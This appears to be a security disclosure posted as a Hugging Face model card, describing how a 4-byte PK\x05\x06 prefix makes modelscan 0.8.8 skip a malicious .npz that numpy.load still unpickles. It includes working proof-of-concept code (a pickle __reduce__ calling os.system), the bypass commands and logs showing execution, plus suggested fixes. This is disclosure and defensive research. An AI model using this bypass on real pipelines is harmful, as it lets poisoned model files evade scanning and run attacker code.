Downloads · 30 days
0
EnigmaConsultant/huntr-poc-modelscan-npz-pk0506-container-desync
huntr-poc-modelscan-npz-pk0506-container-desync is a machine learning model from EnigmaConsultant. Use it for the machine learning task on the model card, and read the license before you ship it in a product.
Target: modelscan (Protect AI) — https://github.com/protectai/modelscan Version tested: modelscan==0.8.8 (latest), numpy==1.26.4, Python 3.12.13 Class: Scanner bypass / detection evasion → arbitrary code execution on…
Downloads · 30 days
0
Access
Public
Updated Jul 19, 2026
Repo size
1.9 KB
Likes
0
Public
Click a slice to open those files.
.md9.6 KB · 72%
From the Hugging Face model README
.npz container-magic desync — malicious NpzFile with leading PK\x05\x06 (EOCD) bypasses scanning while numpy.load executes the member pickleTarget: modelscan (Protect AI) — https://github.com/protectai/modelscan
Version tested: modelscan==0.8.8 (latest), numpy==1.26.4, Python 3.12.13
Class: Scanner bypass / detection evasion → arbitrary code execution on np.load(..., allow_pickle=True)
Severity: High (a file modelscan reports as clean executes attacker-controlled os.system when a downstream consumer loads it with NumPy)
modelscan scans .npz archives by recursing into them as ZIP containers. That recursion is
gated by a stricter-than-standard ZIP detector (_is_zipfile) inherited from torch, which
returns True only when the file's first 4 bytes are exactly the ZIP local-file-header
magic PK\x03\x04.
numpy.load, by contrast, routes a file into NpzFile when the leading bytes match either
the local-header prefix PK\x03\x04 or the End-Of-Central-Directory / empty-archive
signature PK\x05\x06. Python's zipfile then tolerates a prepended prefix (it finds the EOCD
by scanning backward from EOF and compensates member offsets accordingly).
Prepending the 4 bytes PK\x05\x06 to an otherwise ordinary malicious .npz therefore
creates a file that:
_iterate_models does continue, never opens the archive,
never hands any member to the NumPy scanner. The .npz container itself has no assigned
format (settings maps only .npy→NUMPY), so it is merely recorded as a benign
SCAN_NOT_SUPPORTED skip → "No issues found! 🎉", 0 issues, 0 errors, 0 scanned.zipfile parses it (prefix handled) →
np.load(...)['config'] read_arrays the object-dtype member and runs pickle.load →
the embedded os.system reduce fires → code execution.The file is a fully valid archive: zipfile.ZipFile(...).testzip() returns None.
.npz has no top-level format — the only way it gets scanned is ZIP recursionmodelscan/settings.py:
NUMPY = Property("NUMPY", "numpy")
...
"supported_zip_extensions": [".zip", ".npz"], # .npz treated as a zip container...
...
SupportedModelFormats.NUMPY: [".npy"], # ...but NUMPY format maps ONLY to .npy
A top-level .npz is never assigned the NUMPY format. The only path to scanning its members
is the ZIP recursion in _iterate_models.
_is_zipfilemodelscan/modelscan.py (_iterate_models):
if not _is_zipfile(file, model.get_stream()):
continue # <-- not "a zip" => skip entirely, never recurse
try:
with zipfile.ZipFile(model.get_stream(), "r") as zip:
...
_is_zipfile only accepts an exact PK\x03\x04 prefixmodelscan/tools/utils.py:
def _is_zipfile(source, data=None) -> bool:
# This is a stricter implementation than zipfile.is_zipfile().
...
read_bytes = [] # reads first 4 bytes
...
local_header_magic_number = [b"P", b"K", b"\x03", b"\x04"]
return read_bytes == local_header_magic_number
With a leading PK\x05\x06, read_bytes == [b'P', b'K', b'\x05', b'\x06'] != [b'P',b'K',b'\x03',b'\x04']
→ returns False → continue → the archive is never opened.
numpy/lib/npyio.py (np.load) accepts either zip signature:
_ZIP_PREFIX = b'PK\x03\x04'
_ZIP_SUFFIX = b'PK\x05\x06' # empty-archive / EOCD marker
...
if magic.startswith(_ZIP_PREFIX) or magic.startswith(_ZIP_SUFFIX):
# -> NpzFile -> zipfile.ZipFile (tolerates the 4-byte prefix) -> read_array -> pickle.load
Net effect: modelscan's _is_zipfile is too strict and routes a genuinely-malicious zip
away from scanning; numpy's loader is more lenient and executes it. A 4-byte prefix
flips a CRITICAL detection to a silent clean pass.
import numpy as np, os
class Evil:
def __reduce__(self):
return (os.system, ("echo PWNED_NPZ_SUFFIX > proof.txt",))
# 1) Ordinary malicious npz: object-array member 'config.npy', first bytes PK\x03\x04
np.savez('malicious.npz', config=np.array([Evil()], dtype=object))
# 2) Prepend the 4-byte EOCD signature PK\x05\x06 -> first 4 bytes become PK\x05\x06
open('pre_pk0506.npz', 'wb').write(b'PK\x05\x06' + open('malicious.npz', 'rb').read())
malicious.npz — normal, member config.npy, first 8 bytes PK\x03\x04-\x00\x00\x00.pre_pk0506.npz — same content with a 4-byte PK\x05\x06 prefix; still a valid zip
(zipfile.ZipFile('pre_pk0506.npz').testzip() → None).Then:
modelscan -p malicious.npz # CONTROL -> Total Issues: 1 (CRITICAL)
modelscan -p pre_pk0506.npz # BYPASS -> No issues found! 🎉 (0 issues / 0 scanned)
python -c "import numpy as np; np.load('pre_pk0506.npz', allow_pickle=True)['config']" # -> executes
Files included: malicious.npz, pre_pk0506.npz, out.json (bypass JSON report),
reverify/ (independent re-verification with a different trigger/member name).
malicious first8 b'PK\x03\x04-\x00\x00\x00'
pre_pk0506 first8 b'PK\x05\x06PK\x03\x04'
_is_zipfile malicious True
_is_zipfile pre_pk0506 False
zipfile testzip pre_pk0506 None # <-- archive is fully valid
$ modelscan -p malicious.npz
Scanning .../malicious.npz:config.npy using modelscan.scanners.NumpyUnsafeOpScan model scan
Total Issues: 1
- CRITICAL: 1
Unsafe operator found:
- Severity: CRITICAL
- Description: Use of unsafe operator 'system' from module 'posix'
- Source: .../malicious.npz:config.npy
$ modelscan -p pre_pk0506.npz
No issues found! 🎉
Total skipped: 1 - run with --show-skipped to see the full list.
$ modelscan -p pre_pk0506.npz -r json -o out.json
{"summary": {"total_issues_by_severity": {"LOW": 0, "MEDIUM": 0, "HIGH": 0, "CRITICAL": 0},
"total_issues": 0, "input_path": "pre_pk0506.npz", "modelscan_version": "0.8.8",
"scanned": {"total_scanned": 0}}, "issues": [], "errors": []}
$ python -c "import numpy as np; np.load('pre_pk0506.npz', allow_pickle=True)['config']"
$ cat proof.txt
PWNED_NPZ_SUFFIX <-- attacker command executed
id, member renamed w, separate load process)evil.npz first4 b'PK\x05\x06'
$ modelscan -p evil.npz
No issues found! 🎉
Total skipped: 1
$ python -c "import numpy as np; np.load('evil.npz', allow_pickle=True)['w']"
$ cat INDEP_PROOF.txt
uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),24(cdrom),... <-- executed under modelscan-CLEAN file
Any pipeline that uses modelscan as a gate before loading NumPy archives (a common
"scan-then-load" model-supply-chain pattern) can be defeated by a 4-byte prefix. The scanned
artifact reports zero issues yet runs arbitrary attacker code the moment a consumer calls
np.load(path, allow_pickle=True) (or any loader that resolves an object-dtype .npz member).
No member renaming, no header manipulation, no special filename — the legitimate member name
config.npy is preserved; only the container's leading 4 bytes change.
.npz directly (scan .npz as a NumPy archive regardless of the
ZIP-recursion gate), or_is_zipfile for archive scanning to accept the PK\x05\x06 (and PK\x07\x08) leading
signatures, or fall back to zipfile.is_zipfile() / an EOCD-based check so the recursion gate
matches what real ZIP/NumPy loaders accept, andzipfile can open but that _is_zipfile rejected as an error/warning rather
than a silent skip, so a container that "can't be a zip" but is loadable as one is surfaced.Distinct from the two other filed numpy→modelscan divergences:
.npy oversized-header (max_header_size) divergence — no header-size trick here..npy).
Here the member keeps its legitimate name (config.npy / w) and modelscan is defeated one
layer earlier, at the container-level ZIP-recursion gate, before any member is enumerated.Also the inverse direction of the prior picklescan/fickling EOCD-trailer findings: those
exploit is_zipfile being too lenient to route a pickle into a memberless zip scanner
(and explicitly note modelscan is robust to that). Here modelscan's _is_zipfile is too strict
and routes a genuinely-malicious zip away from scanning, while the more-lenient numpy loader
executes it.
Note on numpy versions: this PoC pins numpy==1.26.4 so modelscan's NumPy scanner is functional
and the CONTROL genuinely flags the plain file. On numpy>=2.4 modelscan's scan_numpy is
separately broken (removal of numpy.lib.format._check_version), which independently yields
0 issues — that is a different defect and is not what this report relies on.